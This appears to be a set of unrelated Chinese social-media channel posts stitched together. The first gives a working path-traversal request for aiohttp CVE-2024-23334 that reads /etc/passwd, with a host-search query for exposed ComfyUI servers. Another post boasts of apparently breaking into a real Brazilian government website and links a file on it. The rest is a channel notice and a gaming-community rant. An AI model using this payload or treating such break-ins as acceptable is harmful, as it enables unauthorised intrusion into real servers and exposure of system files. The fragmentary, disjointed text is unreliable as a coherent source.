CVE-2024-23334 aiohttp 路径遍历漏洞

noscript=="ComfyUI"

GET /static/../../../../../etc/passwd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

https://atlasdigital.mdr.gov.br/paginas/1.txt

省流:为了更新仓库顺手打的，堂堂gov，（巴西国防部灾害预警中心）没有waf，不过滤危险函数，有2017年的古早cve

利用五分钟，解决√⑩的脚本crypto报错半个小时

真是一场酣畅淋漓的吃屎

https://mp.weixin.qq.com/s/BXtH58O7BdHeKfoB0dnX9A

再次证明了开发人员安全意识不够就别乱自己二改cms了，极其容易翻车

两会重保期间，频道暂停更新

不用去说一些“轮椅人”之类的话，316级大水桶号通了一周目，诸如蓝条没了空挥战技，小儿麻痹大山羊套超重翻滚都是日常操作，包括你在主播击杀集锦里看到的踹比小骑士都可能是我友情客串，你在圈内认识的大佬比如并非nep，鱼人斯拉克可能也只是我的互联网星怒或者拔线对象，我认为技术不是拉踩攀比，类似RVC，白鸽组长现在依旧保持低调在学习，王者遗灰mod制作组的几个朋友现在依旧有联系。踹哈和五换是不断被下指喂巧克力，不断被卡比瞬移爆杀光速拔线的过程，而不是看到某个大佬骑士精神特大剑打刀长牙武器库玩得丝滑就去巴结，以认识某个踹比觉得荣幸从而满足你那虚伪又可怜的虚荣心，可笑至极